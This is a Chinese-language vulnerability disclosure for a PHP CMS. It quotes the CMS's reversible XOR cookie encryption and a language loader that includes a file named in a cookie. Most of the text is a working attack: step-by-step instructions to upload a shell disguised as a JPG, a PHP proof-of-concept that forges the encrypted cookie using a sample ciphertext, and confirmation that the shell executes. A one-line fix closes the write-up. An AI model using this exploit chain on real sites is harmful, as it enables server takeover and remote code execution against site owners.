漏洞出现在cookie加密函数
public static function encrypt($txt, $key = '') { $encrypt_key = md5(mt_rand(0, 32000)); $ctr = 0; $tmp = ''; for($i = 0; $i < strlen($txt); $i++) { $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr; $tmp .= $encrypt_key[$ctr] . ($txt[$i] ^ $encrypt_key[$ctr++]); } return base64_encode(self::_crypt($tmp, $key)); } public static function decrypt($txt, $key = '') { $txt = self::_crypt(base64_decode($txt), $key); $tmp = ''; for($i = 0; $i < strlen($txt); $i++) { $md5 = $txt[$i]; $tmp .= $txt[++$i] ^ $md5; } return $tmp; } private static function _crypt($txt, $encrypt_key) { $encrypt_key = md5($encrypt_key); $ctr = 0; $tmp = ''; for($i = 0; $i < strlen($txt); $i++) { $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr; $tmp .= $txt[$i] ^ $encrypt_key[$ctr++]; } return $tmp; }
咋和dede的一样呢。。。
因为这个可以逆所以我们可以控制cookie。
接下来就是getshell了
看到
/core/lib/core/App.class.php private static function load_lang() { $langSet = C('LANG.NAME'); /* detect language */ if(C('LANG.DETECT')) { $_t_l = ARequest::get(C('VAR.LANG')); if(!empty($_t_l)) { $langSet = strtolower(ARequest::get(C('VAR.LANG'))); ACookie::set('lang', $langSet); } elseif(ACookie::get('lang')) { $langSet = ACookie::get('lang'); } elseif(isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) { preg_match('/^([a-z\-]+)/i', $_SERVER['HTTP_ACCEPT_LANGUAGE'], $matches); $langSet = strtolower($matches[1]); ACookie::set('lang', $langSet); } } define('LANG_SET', strtolower($langSet)); /* load framework language */ if(is_file(PFA_PATH . '/lang/' . LANG_SET . '.lang.php')) { L(include PFA_PATH . '/lang/' . LANG_SET . '.lang.php'); } elseif(is_file(PFA_PATH . '/lang/' . C('LANG.NAME') . '.lang.php')) { L(include PFA_PATH . '/lang/' . C('LANG.NAME') . '.lang.php'); } ACookie::set('lang', $langSet);
接收lang的cookie后 再包含。 我们可以上传个jpg格式的shell再截断包含,因为数据是加密再解密进入的,所以无视gpc的影响~
-------------------
利用过程,
首先注册个长度为24的账户,这样才能完美的控制cookie的值,
上传个jpg格式的shell
记住地址后,看下cookie uwa_m_userid的值。他的明文对应格式为
将得到的值
填入下面的poc
<?php function cracked($Expressly,$Ciphertext,$str,$way){ $Ciphertext = base64_decode($Ciphertext); if ($way=="descrypt"){ $text2=""; $str=base64_decode($str); }else{ $text2="a"; } $j=0; $s=0; for($i=0;$i<strlen($str);$i++,$s++){ if($j==32){$j=0;$s=0;} $tmp=$Ciphertext[$j]^$Ciphertext[$j+1]; $tmp=$tmp^$Expressly[$s]; $tmp=$tmp^$str[$i]; if ($way=="descrypt"){ $text1=$tmp^$str[++$i]; } else{ $text1=$tmp^$text2; } $xxoo =$xxoo.$text2.$text1; $j=$j+2; } if ($way=="descrypt"){ echo $xxoo;} else{ echo base64_encode($xxoo);} } $a=$_GET['a']; $a=serialize($a); cracked("s:24:\"a11111111111111111111111\";","U3pRPFA/VjMHaVMsW2BWNVFlVTJWZQU1CDxZMVNgXWdUP1YwUDwHZ1QxA28OZVQ3DTlWMVVmUmJVYQxkV3ddbQ==",$a,"encrypt"); ?>
得到最终的playload
poc需在gpc关闭的情况下运行。目标站开不开gpc就无所谓了,因为数据是加密再解密进入的,所以无视gpc的影响~
修改cookie值, 可以看到成功执行了php脚本
修复方案:
换个算法。或者过滤下解密后的值